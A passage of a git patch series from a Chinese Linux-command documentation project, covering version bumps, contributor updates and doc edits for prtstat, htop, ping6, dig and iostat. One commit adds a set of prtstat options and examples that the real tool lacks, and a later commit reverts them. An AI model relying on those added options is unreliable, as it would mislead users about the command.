压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xrandr":{"n":"xrandr","p":"/xrandr","d":"X 窗口系统配置管理工具"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file From b151c013b63fbaedc75cbf47c0154289458dc329 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 26 Apr 2023 13:52:16 +0800 Subject: [PATCH 0679/1019] released v1.15.0 --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 3de75a15717..c19b98c24b0 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.14.0", + "version": "1.15.0", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From c01631b17ffcac8d22527cbf4097017ac61e364e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Wed, 26 Apr 2023 13:57:54 +0800 Subject: [PATCH 0680/1019] chore: Update ci.yml --- .github/workflows/ci.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 1c31a07f603..743bbe950f6 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -18,7 +18,7 @@ jobs: uses: jaywcjlove/github-action-contributors@main id: contributors with: - filter-author: (renovate\[bot\]|renovate-bot|dependabot\[bot\]) + filter-author: (renovate\[bot\]|renovate-bot|@github-actions-bot|dependabot\[bot\]) avatarSize: 42 - name: Modify README.md @@ -215,4 +215,4 @@ jobs: # run: | # echo "version: v${{ steps.changelog.outputs.version }}" # docker tag ghcr.io/jaywcjlove/linux-command:latest ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} - # docker push ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} \ No newline at end of file + # docker push ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} From d87b161d9250f3ba5582ab86e8e9339cdf295f83 Mon Sep 17 00:00:00 2001 From: LinuxZilong <97012545+LinuxZilong@users.noreply.github.com> Date: Thu, 27 Apr 2023 20:36:11 +0800 Subject: [PATCH 0681/1019] feat: add prtstat.md (#491) --- command/prtstat.md | 58 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 58 insertions(+) create mode 100644 command/prtstat.md diff --git a/command/prtstat.md b/command/prtstat.md new file mode 100644 index 00000000000..1e0f3222fbd --- /dev/null +++ b/command/prtstat.md @@ -0,0 +1,58 @@ +prtstat +=== + +显示进程信息 + +## 概要 + +```shell +prtstat [-r|--raw] pid +prtstat -V|--version +``` + +## 主要用途 + +- prtstat打印指定进程的统计信息。这个信息来自/proc/PID/stat文件。 + + +## 参数 + +-r：以原始(raw)格式打印进程的统计信息 + +-V: 打印prtstat的版本信息 + +## 例子 + +```shell +[root@localhost command]# ps -ef|grep nginx +root 4022 250867 0 16:39 pts/1 00:00:00 grep --color=auto nginx +root 224312 1 0 4月26 ? 00:00:00 nginx: master process /var/openresty/nginx/sbin/nginx +nobody 224313 224312 0 4月26 ? 00:00:00 nginx: worker process +[root@localhost command]# prtstat -r 224312 + pid: 224312 comm: nginx + state: S ppid: 1 + pgrp: 224312 session: 224312 + tty_nr: 0 tpgid: -1 + flags: 402040 minflt: 110 + cminflt: 0 majflt: 0 + cmajflt: 0 utime: 0 + stime: 0 cutime: 0 + cstime: 0 priority: 20 + nice: 0 num_threads: 1 + itrealvalue: 0 starttime: 6271470 + vsize: 56369152 rss: 413 + rsslim: 18446744073709551615 startcode: 4194304 + endcode: 5772276 startstack: 140722783765648 + kstkesp: 7FFC9389BFB8 kstkeip: 7F25CD42F6C6 + wchan: 18446744071885754297 nswap: 0 + cnswap: 18446744071885754297 exit_signal: 17 + processor: 2 rt_priority: 0 + policy: 0 delayaccr_blkio_ticks: 0 + guest_time: 0 cguest_time: 0 +``` + +### 注意 + +1. `prtstat`命令来自于psmisc包。此包来自于base源仓库。 +2. psmisc.x86_64 : 用于管理系统上进程的实用程序 + From 452e2bf388b1c6e7836d1b48326e68cad493748f Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 27 Apr 2023 20:42:04 +0800 Subject: [PATCH 0682/1019] doc: update prtstat.md (#491) --- command/prtstat.md | 77 ++++++++++++++++++++++++++++++++++++++++------ 1 file changed, 68 insertions(+), 9 deletions(-) diff --git a/command/prtstat.md b/command/prtstat.md index 1e0f3222fbd..2a02b7fb1d5 100644 --- a/command/prtstat.md +++ b/command/prtstat.md @@ -3,23 +3,34 @@ prtstat 显示进程信息 -## 概要 +## 补充说明 + +**prtstat命令**打印指定进程的统计信息。这个信息来自/proc/PID/stat文件。 + +## 语法 ```shell prtstat [-r|--raw] pid prtstat -V|--version ``` -## 主要用途 - -- prtstat打印指定进程的统计信息。这个信息来自/proc/PID/stat文件。 - - ## 参数 --r：以原始(raw)格式打印进程的统计信息 - --V: 打印prtstat的版本信息 +```shell +-t：显示系统总体状态 +-p pid：显示指定进程的状态 +-d：显示磁盘 I/O 统计信息 +-n：显示网络 I/O 统计信息 +-s：显示系统调用统计信息 +-u：显示用户 CPU 使用率统计信息 +-w：显示等待事件统计信息 +-x：显示进程间通信统计信息 +-h：显示帮助信息 +-i interval：设置输出间隔时间 +-c count：设置输出次数 +-l：使用长格式输出 +-v：显示版本信息 +``` ## 例子 @@ -51,6 +62,54 @@ nobody 224313 224312 0 4月26 ? 00:00:00 nginx: worker process guest_time: 0 cguest_time: 0 ``` +显示当前系统的总体状态，包括 CPU 使用率、内存使用率、磁盘 I/O 等信息。 + +```shell +prtstat -t +``` + +显示指定进程的 CPU 使用率、内存使用率、线程数等信息。 + +```shell +prtstat -p pid +``` + +显示磁盘 I/O 统计信息，包括每个磁盘的读写速度、IOPS 等。 + +```shell +prtstat -d +``` + +显示网络 I/O 统计信息，包括每个网络接口的传输速度、数据包数等。 + +```shell +prtstat -n +``` + +显示系统调用统计信息，包括每个系统调用的调用次数、平均耗时等。 + +```shell +prtstat -s +``` + +显示用户 CPU 使用率统计信息，包括每个用户的 CPU 使用率、进程数等。 + +```shell +prtstat -u +``` + +显示等待事件统计信息，包括每个等待事件的等待次数、平均等待时间等。 + +```shell +prtstat -w +``` + +显示进程间通信统计信息，包括每个进程间通信方式的调用次数、平均耗时等。 + +```shell +prtstat -x +``` + ### 注意 1. `prtstat`命令来自于psmisc包。此包来自于base源仓库。 From 314925d96bbd5c0ed5b221d8616dbced2a954c0a Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 27 Apr 2023 12:43:02 +0000 Subject: [PATCH 0683/1019] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 9bc6bbdf976..2514fe04d81 100644 --- a/README.md +++ b/README.md @@ -493,6 +493,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 孟思行 + + LinuxZilong + Lucien From 9a08889b2a59ea8c7f74fd1f8325874aed4ea2fc Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 27 Apr 2023 12:43:03 +0000 Subject: [PATCH 0684/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 648bd741ddc..74cca879dc5 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -141,6 +141,9 @@ 孟思行 + + LinuxZilong + Lucien From 95a33dd6d4417b31c30bd518188398511ae5bb4f Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 28 Apr 2023 11:26:26 +0800 Subject: [PATCH 0685/1019] doc: update prtstat.md (fix #493) --- command/prtstat.md | 66 ---------------------------------------------- 1 file changed, 66 deletions(-) diff --git a/command/prtstat.md b/command/prtstat.md index 2a02b7fb1d5..daca42fc63b 100644 --- a/command/prtstat.md +++ b/command/prtstat.md @@ -14,24 +14,6 @@ prtstat [-r|--raw] pid prtstat -V|--version ``` -## 参数 - -```shell --t：显示系统总体状态 --p pid：显示指定进程的状态 --d：显示磁盘 I/O 统计信息 --n：显示网络 I/O 统计信息 --s：显示系统调用统计信息 --u：显示用户 CPU 使用率统计信息 --w：显示等待事件统计信息 --x：显示进程间通信统计信息 --h：显示帮助信息 --i interval：设置输出间隔时间 --c count：设置输出次数 --l：使用长格式输出 --v：显示版本信息 -``` - ## 例子 ```shell @@ -62,54 +44,6 @@ nobody 224313 224312 0 4月26 ? 00:00:00 nginx: worker process guest_time: 0 cguest_time: 0 ``` -显示当前系统的总体状态，包括 CPU 使用率、内存使用率、磁盘 I/O 等信息。 - -```shell -prtstat -t -``` - -显示指定进程的 CPU 使用率、内存使用率、线程数等信息。 - -```shell -prtstat -p pid -``` - -显示磁盘 I/O 统计信息，包括每个磁盘的读写速度、IOPS 等。 - -```shell -prtstat -d -``` - -显示网络 I/O 统计信息，包括每个网络接口的传输速度、数据包数等。 - -```shell -prtstat -n -``` - -显示系统调用统计信息，包括每个系统调用的调用次数、平均耗时等。 - -```shell -prtstat -s -``` - -显示用户 CPU 使用率统计信息，包括每个用户的 CPU 使用率、进程数等。 - -```shell -prtstat -u -``` - -显示等待事件统计信息，包括每个等待事件的等待次数、平均等待时间等。 - -```shell -prtstat -w -``` - -显示进程间通信统计信息，包括每个进程间通信方式的调用次数、平均耗时等。 - -```shell -prtstat -x -``` - ### 注意 1. `prtstat`命令来自于psmisc包。此包来自于base源仓库。 From 76d6dc86e5d7c4e30e4cdeabe323f01a60ac3526 Mon Sep 17 00:00:00 2001 From: Wang Jianing Date: Tue, 2 May 2023 21:56:41 +0800 Subject: [PATCH 0686/1019] doc: update command/htop.md. (#494) --- command/htop.md | 58 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 58 insertions(+) diff --git a/command/htop.md b/command/htop.md index 60182f35b0a..9a0c886834b 100644 --- a/command/htop.md +++ b/command/htop.md @@ -24,6 +24,54 @@ top缺点： htop 官网：http://htop.sourceforge.net/ +### htop 安装 + +在大多数的 Linux 发行版中你不会找到预安装的 `htop`，但作为最流行的实用程序之一，你会在几乎每个 Linux 发行版的默认存储库中找到 `htop`。 + +因此，如果你的机器是基于 Debian/Ubuntu 驱动的，则以下命令应该可以完成你的工作： + +```shell +sudo apt install htop +``` + +类似的，如果你使用的是 Fedora，则可以使用以下的命令： + +```shell +sudo dnf install htop +``` + +如果你使用的是 CentOS 或 RedHat 则可以使用以下的命令： + +```shell +sudo yum install htop +``` +如果你想避免从源代码构建包，还有一个 Snap 包可用： + +```shell +sudo snap install htop +``` + +如果你使用的是其它的发行版或者想从源代码构建，你可以使用 `wget` 下载并安装： +这需要你下载并安装 `wget` `cmake` + +```shell +wget https://link.zhihu.com/?target=https%3A//hisham.hm/htop/releases/2.2.0/htop-2.2.0.tar.gz + +tar -zxvf htop-2.2.0.tar.gz + +cd htop-2.2.0/ + +./configure + +make + +make install +``` + +当然你也可以随时参考你可以随时参考 [htop 的 GitHub](https://link.zhihu.com/?target=https%3A//github.com/htop-dev/htop) 页面以获得详细说明。 + +**说明**：htop源码安装方式默认安装到 `/usr/local` 目录下，如果想安装到其它路径，在执行 configure 时通过 `—prefix` 指定，格式为：`./configure --prefix=/some/path` + ### 语法 ```shell @@ -42,6 +90,16 @@ htop -v --version 打印版本信息 ``` +#### 参数示例 + +- -C 选项：设置界面为无颜色。 + +- -d 选项 : 设置刷新时间，单位为秒。如，htop -d 10命令会每10秒刷新一次。 + +- -s 选项 : 按指定的列排序。如，htop -s PID命令会按PID 列的大小排序来显示。 + +- -u 选项 : 显示指定的用户的进程信息。如，htop -u test命令会只显示出用户名为test的相关进程。 + ### 选项 ```shell From 032735a7201f3ef059bcf0136af2fc84796eb2e5 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 2 May 2023 13:57:17 +0000 Subject: [PATCH 0687/1019] doc: update README.md. --- README.md | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 2514fe04d81..f712dad0279 100644 --- a/README.md +++ b/README.md @@ -409,8 +409,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 loverainye - - jeff + + Han Rui dulltackle @@ -544,6 +544,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Spaghetti-C + + Wang Jianing + iwangjie @@ -685,8 +688,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 weibk - - wlf-darkmatter + + 王凌枫 yanyx From 40992e1ab822c8e4004b76aa1ee4328c21cb0155 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 2 May 2023 13:57:17 +0000 Subject: [PATCH 0688/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 74cca879dc5..107925c839d 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -57,8 +57,8 @@ loverainye - - jeff + + Han Rui dulltackle @@ -192,6 +192,9 @@ Spaghetti-C + + Wang Jianing + iwangjie @@ -333,8 +336,8 @@ weibk - - wlf-darkmatter + + 王凌枫 yanyx From b68c273d352d8d3fdf0e792593dd47795b9994b5 Mon Sep 17 00:00:00 2001 From: Wang Jianing Date: Fri, 5 May 2023 22:49:35 +0800 Subject: [PATCH 0689/1019] doc: update htop.md/ping.md/ping6.md (#495) * Make detailed supplements to some commands. * Added the ipv6 side network test command. * Added the ipv6 side network test command. --- README.md | 14 ++++++++++++- command/ping.md | 4 ++-- command/ping6.md | 53 ++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 68 insertions(+), 3 deletions(-) create mode 100644 command/ping6.md diff --git a/README.md b/README.md index f712dad0279..e81a08c0e3e 100644 --- a/README.md +++ b/README.md @@ -169,6 +169,16 @@ http://localhost:9665/ ## 目录 +- [Web 版本](#web-版本) +- [微信小程序版本](#微信小程序版本) +- [Chrome 插件](#chrome-插件) +- [Raycast 版本](#raycast-版本) +- [Alfred 版本](#alfred-版本) +- [Dash 版本](#dash-版本) +- [Android 版本](#android-版本) +- [命令行工具](#命令行工具) +- [Docker](#docker) +- [Vercel](#vercel) - [目录](#目录) - [Linux命令分类](#linux命令分类) - [文件传输](#文件传输) @@ -191,6 +201,8 @@ http://localhost:9665/ - [中国开源镜像站点](#中国开源镜像站点) - [游戏玩家发行版](#游戏玩家发行版) - [Team](#team) +- [感谢所有贡献者](#感谢所有贡献者) +- [License](#license) ## Linux命令分类 @@ -231,7 +243,7 @@ awk、col、colrm、comm、csplit、ed、egrep、ex、fgrep、fmt、fold、grep ### 网络通讯 -dip、getty、mingetty、ppp-off、smbd(samba daemon)、telnet、uulog、uustat、uux、cu、dnsconf、efax、httpd、ip、ifconfig、mesg、minicom、nc、netconf、netconfig、netstat、ping、pppstats、samba、setserial、shapecfg(shaper configuration)、smbd(samba daemon)、statserial(status ofserial port)、talk、tcpdump、testparm(test parameter)、traceroute、tty(teletypewriter)、uuname、wall(write all)、write、ytalk、arpwatch、apachectl、smbclient(samba client)、pppsetup +dip、getty、mingetty、ppp-off、smbd(samba daemon)、telnet、uulog、uustat、uux、cu、dnsconf、efax、httpd、ip、ifconfig、mesg、minicom、nc、netconf、netconfig、netstat、ping、ping6、pppstats、samba、setserial、shapecfg(shaper configuration)、smbd(samba daemon)、statserial(status ofserial port)、talk、tcpdump、testparm(test parameter)、traceroute、tty(teletypewriter)、uuname、wall(write all)、write、ytalk、arpwatch、apachectl、smbclient(samba client)、pppsetup ### 设备管理 diff --git a/command/ping.md b/command/ping.md index 1163b292f65..0b387e42c7a 100644 --- a/command/ping.md +++ b/command/ping.md @@ -1,7 +1,7 @@ ping === -测试主机之间网络的连通性 +测试主机之间网络的连通性(ipv4) ## 补充说明 @@ -10,7 +10,7 @@ ping ### 语法 ```shell -ping(选项)(参数) +ping (选项) (参数) ``` ### 选项 diff --git a/command/ping6.md b/command/ping6.md new file mode 100644 index 00000000000..ee976883476 --- /dev/null +++ b/command/ping6.md @@ -0,0 +1,53 @@ +ping6 +=== + +测试主机之间网络的连通性(ipv6) + +## 补充说明 + +**ping6命令** ping6 是 ICMPv6 版的 ping 实现。正确使用、访问 IPv6 网站需要您提前配置本地环境，选择支持 v6 的网站进行访问(ping)。 +执行 ping6 指令会使用 ICMPv6 传输(OSI)协议，发出要求回应的信息，若远端主机的网络功能没有问题，就会回应该信息，因而得知该主机运作正常。 + +### 语法 + +```bash +ping6 (选项) (地址) [网络接口名称] +``` + +### 选项 + +```bash +-a [addrtype]: 生成 ICMPv6 节点信息节点地址查询; +-b [bufsiz]: 设置套接字缓冲区大小; +-c [count]: 在发送(和接收)ECHO_RESPONSE数据包后停止; +-h [hoplimit]: 设置 IPv6 跳数限制; +-I [interface]: 具有给定接口地址的源数据包; +-i [wait]: 在发送每个数据包之间等待几秒钟，默认是 1 秒; +-p [policy]: policy 指定要用于探测的 IPsec 策略; +``` +### 地址 + +目的主机：指定发送 ICMPv6 报文的目的主机。 + +### 实例 + +```bash +$ ping6 -c4 ipw.cn + +PING6(56=40+8+8 bytes) 2409:xxxx:xxxx:85c0::2 --> 2409:8c70:3a00:42:3a::1 +16 bytes from 2409:8c70:3a00:42:3a::1, icmp_seq=0 hlim=54 time=31.236 ms +16 bytes from 2409:8c70:3a00:42:3a::1, icmp_seq=1 hlim=54 time=29.382 ms +16 bytes from 2409:8c70:3a00:42:3a::1, icmp_seq=2 hlim=54 time=29.571 ms +16 bytes from 2409:8c70:3a00:42:3a::1, icmp_seq=3 hlim=54 time=28.973 ms + +--- 66f782g2.slt-dk.sched.tdnsv8.com ping6 statistics --- +4 packets transmitted, 4 packets received, 0.0% packet loss +round-trip min/avg/max/std-dev = 28.973/29.791/31.236/0.862 ms +``` + +### 服务器 IPv6 Ping 失败可能原因 + +1. 服务器未开启 IPv6。 +2. 服务器已开启 IPv6，但防火墙(安全组)未对源地址是 IPv6 地址(::/0)的 ICMPv6 协议开放访问， + + From cb4c9b6a83d0f05b66f9d70fe8f1abde3d868480 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 5 May 2023 14:50:09 +0000 Subject: [PATCH 0690/1019] doc: update README.md. --- README.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index e81a08c0e3e..8391e7f5e66 100644 --- a/README.md +++ b/README.md @@ -460,6 +460,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Shell + + Wang Jianing + DaYangtuo247 @@ -556,9 +559,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Spaghetti-C - - Wang Jianing - iwangjie @@ -604,8 +604,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 c2ch - - chen + + Forever121 cxalc From ad495b72865c32bb4d29cf61ce4b29cd21217988 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 5 May 2023 14:50:10 +0000 Subject: [PATCH 0691/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 107925c839d..e813f0b10b2 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -96,6 +96,9 @@ Shell + + Wang Jianing + DaYangtuo247 @@ -192,9 +195,6 @@ Spaghetti-C - - Wang Jianing - iwangjie @@ -240,8 +240,8 @@ c2ch - - chen + + Forever121 cxalc From 62792785f0594f9c5d15910c79de9f52b22bc539 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Wed, 10 May 2023 16:17:07 +0800 Subject: [PATCH 0692/1019] doc: Update dig.md (fix #496) --- command/dig.md | 33 ++++++++++++++++----------------- 1 file changed, 16 insertions(+), 17 deletions(-) diff --git a/command/dig.md b/command/dig.md index c832c32e563..47109c4775a 100644 --- a/command/dig.md +++ b/command/dig.md @@ -37,29 +37,28 @@ dig(选项)(参数) ### 实例 ```shell -[root@localhost ~]# dig www.jsdig.com +[root@localhost ~]# dig www.baidu.com -; <<>> DiG 9.3.6-P1-RedHat-9.3.6-20.P1.el5_8.1 <<>> www.jsdig.com -;; global options: printcmd +; <<>> DiG 9.10.6 <<>> www.baidu.com +;; global options: +cmd ;; Got answer: -;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2115 -;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 2, ADDITIONAL: 0 +;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57295 +;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1 +;; OPT PSEUDOSECTION: +; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: -;www.jsdig.com. IN A +;www.baidu.com. IN A ;; ANSWER SECTION: -www.jsdig.com. 0 IN CNAME host.1.jsdig.com. -host.1.jsdig.com. 0 IN A 100.42.212.8 - -;; AUTHORITY SECTION: -jsdig.com. 8 IN NS f1g1ns2.dnspod.net. -jsdig.com. 8 IN NS f1g1ns1.dnspod.net. - -;; Query time: 0 msec -;; SERVER: 202.96.104.15#53(202.96.104.15) -;; WHEN: Thu Dec 26 11:14:37 2013 -;; MSG SIZE rcvd: 121 +www.baidu.com. 963 IN CNAME www.a.shifen.com. +www.a.shifen.com. 63 IN A 180.101.50.242 +www.a.shifen.com. 63 IN A 180.101.50.188 + +;; Query time: 14 msec +;; SERVER: 119.29.29.29#53(119.29.29.29) +;; WHEN: Wed May 10 16:16:36 CST 2023 +;; MSG SIZE rcvd: 101 ``` From 87d739984b8f9b9d0bccbe13aae5780f40e8a110 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 10 May 2023 08:18:06 +0000 Subject: [PATCH 0693/1019] doc: update README.md. --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 8391e7f5e66..d0deeb61a02 100644 --- a/README.md +++ b/README.md @@ -421,8 +421,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 loverainye - - Han Rui + + rgshare dulltackle From 9e039408a1bdd59bda9c9cdf4d7f863ecfae7836 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 10 May 2023 08:18:07 +0000 Subject: [PATCH 0694/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index e813f0b10b2..ebf31f52eca 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -57,8 +57,8 @@ loverainye - - Han Rui + + rgshare dulltackle From e653d3ffac1267694c03cba427e439f4cbc57836 Mon Sep 17 00:00:00 2001 From: BingCoke <81607010+BingCoke@users.noreply.github.com> Date: Mon, 22 May 2023 18:15:24 +0800 Subject: [PATCH 0695/1019] doc: Update iostat.md (#498) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit iostat的util参数解读有误。参照于man手册 Percentage of elapsed time during which I/O requests were issued to the device (bandwidth utilization for the device). Device saturation occurs when this value is close to 100% for devices serving requests serially.But for devices serving requests in parallel, such as RAID arrays and modern SSDs, this number does not reflect their performance limits. --- command/iostat.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/iostat.md b/command/iostat.md index 12de5a3b6c1..0bf3d25e003 100644 --- a/command/iostat.md +++ b/command/iostat.md @@ -69,6 +69,6 @@ avgrq-sz | 需求的平均大小区段 avgqu-sz | 需求的平均队列长度 await | 等待I/O平均的时间（milliseconds） svctm | I/O需求完成的平均时间 -%util | 被I/O需求消耗的CPU百分比 +%util | 设备带宽的使用率，达到100%表示饱和，达到性能瓶颈，如果是支持处理并发请求的设备则不代表性能瓶颈。 From a60a7274e734c74426165520d5a784aaff67a613 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 22 May 2023 10:16:00 +0000 Subject: [PATCH 0696/1019] doc: update README.md. --- README.md | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index d0deeb61a02..801640b244f 100644 --- a/README.md +++ b/README.md @@ -463,6 +463,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Wang Jianing + + BingCoke + DaYangtuo247 @@ -514,8 +517,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Lucien - - M4n5ter + + Wang mwei From 092e446af140d52ac4bd9899bf157d7a49c8ff71 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 22 May 2023 10:16:00 +0000 Subject: [PATCH 0697/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/template/contributors.ejs 